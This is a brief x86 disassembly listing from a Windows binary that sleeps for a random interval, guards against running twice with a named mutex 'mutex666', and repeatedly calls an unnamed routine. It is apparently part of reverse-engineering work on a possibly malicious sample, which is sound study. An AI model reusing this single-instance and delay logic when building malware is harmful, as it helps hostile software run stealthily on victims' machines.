mov ecx, 0x3e8
cdq
idiv ecx
lea eax, [edx + 1]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push str.mutex666
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov ebx, eax
or ebx, ebx
je 0x401c57
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x401c73
push str.mutex666
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
pop ebx
or ebx, ebx
je 0x401c73
call fcn.00401a70
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or ebx, ebx
jne 0x401c36
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10